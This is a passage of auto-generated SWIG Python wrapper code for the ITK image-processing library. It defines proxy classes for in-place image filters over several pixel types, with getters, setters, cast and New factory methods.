_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IF2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterISS2IF2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IF2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterISS2IF2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IF2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterISS2IF2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS2IF2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterISS2IF2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IF2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterISS2IF2 Create a new object of the class itkInPlaceImageFilterISS2IF2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterISS2IF2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterISS2IF2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterISS2IF2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterISS2IF2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IF2_SetInPlace, None, itkInPlaceImageFilterISS2IF2) itkInPlaceImageFilterISS2IF2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IF2_GetInPlace, None, itkInPlaceImageFilterISS2IF2) itkInPlaceImageFilterISS2IF2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IF2_InPlaceOn, None, itkInPlaceImageFilterISS2IF2) itkInPlaceImageFilterISS2IF2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IF2_InPlaceOff, None, itkInPlaceImageFilterISS2IF2) itkInPlaceImageFilterISS2IF2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IF2_CanRunInPlace, None, itkInPlaceImageFilterISS2IF2) itkInPlaceImageFilterISS2IF2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IF2_swigregister itkInPlaceImageFilterISS2IF2_swigregister(itkInPlaceImageFilterISS2IF2) def itkInPlaceImageFilterISS2IF2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS2IF2 *": """itkInPlaceImageFilterISS2IF2_cast(itkLightObject obj) -> itkInPlaceImageFilterISS2IF2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IF2_cast(obj) class itkInPlaceImageFilterISS2IRGBAUC2(itkImageToImageFilterBPython.itkImageToImageFilterISS2IRGBAUC2): """Proxy of C++ itkInPlaceImageFilterISS2IRGBAUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterISS2IRGBAUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBAUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterISS2IRGBAUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBAUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterISS2IRGBAUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBAUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterISS2IRGBAUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBAUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterISS2IRGBAUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBAUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterISS2IRGBAUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS2IRGBAUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterISS2IRGBAUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBAUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterISS2IRGBAUC2 Create a new object of the class itkInPlaceImageFilterISS2IRGBAUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterISS2IRGBAUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterISS2IRGBAUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterISS2IRGBAUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterISS2IRGBAUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBAUC2_SetInPlace, None, itkInPlaceImageFilterISS2IRGBAUC2) itkInPlaceImageFilterISS2IRGBAUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBAUC2_GetInPlace, None, itkInPlaceImageFilterISS2IRGBAUC2) itkInPlaceImageFilterISS2IRGBAUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBAUC2_InPlaceOn, None, itkInPlaceImageFilterISS2IRGBAUC2) itkInPlaceImageFilterISS2IRGBAUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBAUC2_InPlaceOff, None, itkInPlaceImageFilterISS2IRGBAUC2) itkInPlaceImageFilterISS2IRGBAUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBAUC2_CanRunInPlace, None, itkInPlaceImageFilterISS2IRGBAUC2) itkInPlaceImageFilterISS2IRGBAUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBAUC2_swigregister itkInPlaceImageFilterISS2IRGBAUC2_swigregister(itkInPlaceImageFilterISS2IRGBAUC2) def itkInPlaceImageFilterISS2IRGBAUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS2IRGBAUC2 *": """itkInPlaceImageFilterISS2IRGBAUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterISS2IRGBAUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBAUC2_cast(obj) class itkInPlaceImageFilterISS2IRGBUC2(itkImageToImageFilterBPython.itkImageToImageFilterISS2IRGBUC2): """Proxy of C++ itkInPlaceImageFilterISS2IRGBUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterISS2IRGBUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterISS2IRGBUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterISS2IRGBUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterISS2IRGBUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterISS2IRGBUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterISS2IRGBUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS2IRGBUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterISS2IRGBUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterISS2IRGBUC2 Create a new object of the class itkInPlaceImageFilterISS2IRGBUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterISS2IRGBUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterISS2IRGBUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterISS2IRGBUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterISS2IRGBUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBUC2_SetInPlace, None, itkInPlaceImageFilterISS2IRGBUC2) itkInPlaceImageFilterISS2IRGBUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBUC2_GetInPlace, None, itkInPlaceImageFilterISS2IRGBUC2) itkInPlaceImageFilterISS2IRGBUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBUC2_InPlaceOn, None, itkInPlaceImageFilterISS2IRGBUC2) itkInPlaceImageFilterISS2IRGBUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBUC2_InPlaceOff, None, itkInPlaceImageFilterISS2IRGBUC2) itkInPlaceImageFilterISS2IRGBUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBUC2_CanRunInPlace, None, itkInPlaceImageFilterISS2IRGBUC2) itkInPlaceImageFilterISS2IRGBUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBUC2_swigregister itkInPlaceImageFilterISS2IRGBUC2_swigregister(itkInPlaceImageFilterISS2IRGBUC2) def itkInPlaceImageFilterISS2IRGBUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS2IRGBUC2 *": """itkInPlaceImageFilterISS2IRGBUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterISS2IRGBUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IRGBUC2_cast(obj) class itkInPlaceImageFilterISS2ISS2(itkImageToImageFilterAPython.itkImageToImageFilterISS2ISS2): """Proxy of C++ itkInPlaceImageFilterISS2ISS2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterISS2ISS2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2ISS2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterISS2ISS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2ISS2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterISS2ISS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2ISS2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterISS2ISS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2ISS2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterISS2ISS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2ISS2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterISS2ISS2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS2ISS2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterISS2ISS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2ISS2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterISS2ISS2 Create a new object of the class itkInPlaceImageFilterISS2ISS2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterISS2ISS2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterISS2ISS2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterISS2ISS2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterISS2ISS2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2ISS2_SetInPlace, None, itkInPlaceImageFilterISS2ISS2) itkInPlaceImageFilterISS2ISS2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2ISS2_GetInPlace, None, itkInPlaceImageFilterISS2ISS2) itkInPlaceImageFilterISS2ISS2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2ISS2_InPlaceOn, None, itkInPlaceImageFilterISS2ISS2) itkInPlaceImageFilterISS2ISS2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2ISS2_InPlaceOff, None, itkInPlaceImageFilterISS2ISS2) itkInPlaceImageFilterISS2ISS2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2ISS2_CanRunInPlace, None, itkInPlaceImageFilterISS2ISS2) itkInPlaceImageFilterISS2ISS2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2ISS2_swigregister itkInPlaceImageFilterISS2ISS2_swigregister(itkInPlaceImageFilterISS2ISS2) def itkInPlaceImageFilterISS2ISS2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS2ISS2 *": """itkInPlaceImageFilterISS2ISS2_cast(itkLightObject obj) -> itkInPlaceImageFilterISS2ISS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2ISS2_cast(obj) class itkInPlaceImageFilterISS2IUC2(itkImageToImageFilterAPython.itkImageToImageFilterISS2IUC2): """Proxy of C++ itkInPlaceImageFilterISS2IUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterISS2IUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterISS2IUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterISS2IUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterISS2IUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterISS2IUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterISS2IUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS2IUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterISS2IUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterISS2IUC2 Create a new object of the class itkInPlaceImageFilterISS2IUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterISS2IUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterISS2IUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterISS2IUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterISS2IUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUC2_SetInPlace, None, itkInPlaceImageFilterISS2IUC2) itkInPlaceImageFilterISS2IUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUC2_GetInPlace, None, itkInPlaceImageFilterISS2IUC2) itkInPlaceImageFilterISS2IUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUC2_InPlaceOn, None, itkInPlaceImageFilterISS2IUC2) itkInPlaceImageFilterISS2IUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUC2_InPlaceOff, None, itkInPlaceImageFilterISS2IUC2) itkInPlaceImageFilterISS2IUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUC2_CanRunInPlace, None, itkInPlaceImageFilterISS2IUC2) itkInPlaceImageFilterISS2IUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUC2_swigregister itkInPlaceImageFilterISS2IUC2_swigregister(itkInPlaceImageFilterISS2IUC2) def itkInPlaceImageFilterISS2IUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS2IUC2 *": """itkInPlaceImageFilterISS2IUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterISS2IUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUC2_cast(obj) class itkInPlaceImageFilterISS2IUS2(itkImageToImageFilterAPython.itkImageToImageFilterISS2IUS2): """Proxy of C++ itkInPlaceImageFilterISS2IUS2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterISS2IUS2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUS2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterISS2IUS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUS2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterISS2IUS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUS2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterISS2IUS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUS2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterISS2IUS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUS2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterISS2IUS2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS2IUS2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterISS2IUS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUS2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterISS2IUS2 Create a new object of the class itkInPlaceImageFilterISS2IUS2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterISS2IUS2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterISS2IUS2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterISS2IUS2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterISS2IUS2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUS2_SetInPlace, None, itkInPlaceImageFilterISS2IUS2) itkInPlaceImageFilterISS2IUS2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUS2_GetInPlace, None, itkInPlaceImageFilterISS2IUS2) itkInPlaceImageFilterISS2IUS2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUS2_InPlaceOn, None, itkInPlaceImageFilterISS2IUS2) itkInPlaceImageFilterISS2IUS2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUS2_InPlaceOff, None, itkInPlaceImageFilterISS2IUS2) itkInPlaceImageFilterISS2IUS2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUS2_CanRunInPlace, None, itkInPlaceImageFilterISS2IUS2) itkInPlaceImageFilterISS2IUS2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUS2_swigregister itkInPlaceImageFilterISS2IUS2_swigregister(itkInPlaceImageFilterISS2IUS2) def itkInPlaceImageFilterISS2IUS2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS2IUS2 *": """itkInPlaceImageFilterISS2IUS2_cast(itkLightObject obj) -> itkInPlaceImageFilterISS2IUS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS2IUS2_cast(obj) class itkInPlaceImageFilterISS3IF3(itkImageToImageFilterAPython.itkImageToImageFilterISS3IF3): """Proxy of C++ itkInPlaceImageFilterISS3IF3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterISS3IF3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IF3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterISS3IF3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IF3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterISS3IF3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IF3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterISS3IF3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IF3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterISS3IF3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IF3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterISS3IF3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS3IF3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterISS3IF3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IF3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterISS3IF3 Create a new object of the class itkInPlaceImageFilterISS3IF3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterISS3IF3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterISS3IF3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterISS3IF3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterISS3IF3.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IF3_SetInPlace, None, itkInPlaceImageFilterISS3IF3) itkInPlaceImageFilterISS3IF3.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IF3_GetInPlace, None, itkInPlaceImageFilterISS3IF3) itkInPlaceImageFilterISS3IF3.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IF3_InPlaceOn, None, itkInPlaceImageFilterISS3IF3) itkInPlaceImageFilterISS3IF3.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IF3_InPlaceOff, None, itkInPlaceImageFilterISS3IF3) itkInPlaceImageFilterISS3IF3.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IF3_CanRunInPlace, None, itkInPlaceImageFilterISS3IF3) itkInPlaceImageFilterISS3IF3_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IF3_swigregister itkInPlaceImageFilterISS3IF3_swigregister(itkInPlaceImageFilterISS3IF3) def itkInPlaceImageFilterISS3IF3_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS3IF3 *": """itkInPlaceImageFilterISS3IF3_cast(itkLightObject obj) -> itkInPlaceImageFilterISS3IF3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IF3_cast(obj) class itkInPlaceImageFilterISS3IRGBAUC3(itkImageToImageFilterBPython.itkImageToImageFilterISS3IRGBAUC3): """Proxy of C++ itkInPlaceImageFilterISS3IRGBAUC3 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterISS3IRGBAUC3 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBAUC3_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterISS3IRGBAUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBAUC3_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterISS3IRGBAUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBAUC3_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterISS3IRGBAUC3 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBAUC3_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterISS3IRGBAUC3 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBAUC3_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterISS3IRGBAUC3 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterISS3IRGBAUC3 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterISS3IRGBAUC3""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterISS3IRGBAUC3_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterISS3IRGBAUC3 Create a new object of the class itkInPlaceImageFilterISS3IRGBAUC3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterISS3IRGBAUC3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterISS3IRGBAUC3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = 